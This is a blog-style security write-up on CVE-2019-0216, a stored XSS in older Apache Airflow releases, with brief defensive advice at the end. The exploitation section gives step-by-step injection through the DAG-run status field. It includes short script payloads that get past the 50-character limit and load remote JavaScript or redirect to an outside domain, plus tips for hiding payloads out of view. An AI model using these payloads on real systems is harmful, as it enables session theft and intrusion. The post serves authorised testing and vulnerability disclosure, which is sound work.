standard disclaimer: anything shown here is only to be used for education and research, or on networks/systems for which you've been give explicit permission to test -- hacking without permission is illegal.

Motivation

A while back I (and several other researchers concurrently) reported CVE-2019-0216 to Apache – a stored XSS in Apache Airflow. Airflow is a workflow orchestration platform, and isn’t uncommon to come across on an engagement. If you find an older installation there is a fun opportunity for getting stored XSS.

Prerequisites

If the installation is out-of-date (< 1.10.3 according to Apache), it is theoretically vulnerable (though I can’t currently reproduce against manual out-of-date installs from PyPI due to some severe dependency drift). In any case, Airflow suffered from this vulnerability in late February 2019 when it was reported to Apache.

Additionally, the CVE describes the vuln as being possibly exploited by a ‘malicious admin’, which is technically true, however auth is disabled by default. So if auth has been enabled, you’ll need credentials to perform the attack.

Exploiting

Visit the /admin/dagrun/ endpoint (by default not password protected).

If there aren’t a few “DAG runs” listed, create a few, giving them any ID, and leave the state as ‘running’.

Back on the listing screen, you’ll notice that you can click on the ‘running’ status indicator and input HTML.

The input is limited to 50 characters, which I believe was intended as an XSS defense, however this is easily overcome.

If you own a short domain, you can use the protocol inheritance and a short script name to just directly include your payload. Something like:

<script src="//127.0.0.1/j.js"></script>

Or, using variables, string concatenation, etc., you can glue a script together in separate rows of the table.

A simple example would be something like:

<script>_a="https://b4ny4n.github.io"</script>

… and then

<script>document.location=_a</script> 

As you save the rows, they’re properly escaped into the page:

But on a fresh load of the page the content will be directly injected into the DOM:

At this point you can drop your favorite xss payload. Depending on the state of the airflow installation (there could be many, many DAGs) you can also hide your payloads throughout rows below the page fold to be less obvious.

If You’re Defending

These kinds of issues are best prevented by a good scanning + patching cadence and basic password hygiene (like enabling authentication, and requiring strong passwords).